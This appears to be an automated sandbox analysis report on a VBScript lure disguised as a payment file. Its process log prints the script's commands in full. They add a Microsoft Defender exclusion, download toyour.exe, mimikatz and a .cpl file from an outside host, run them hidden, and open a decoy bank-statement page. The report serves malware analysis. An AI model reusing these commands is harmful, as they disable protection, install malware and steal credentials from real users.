Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030

Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:50340 version: TLS 1.2

System Summary

Sample has a suspicious name (potential lure to open the executable)

Source: Payment_Activity_0104_2025-2-17.vbs

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: Payment_Activity_0104_2025-2-17.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.expl.evad.winVBS@120/298@63/100

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\67154a2c-9be8-422d-a050-ad829042bd64.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8884:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ariqx2xm.kjh.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\control.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\\WinXRAR\\ncpa.cpl

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
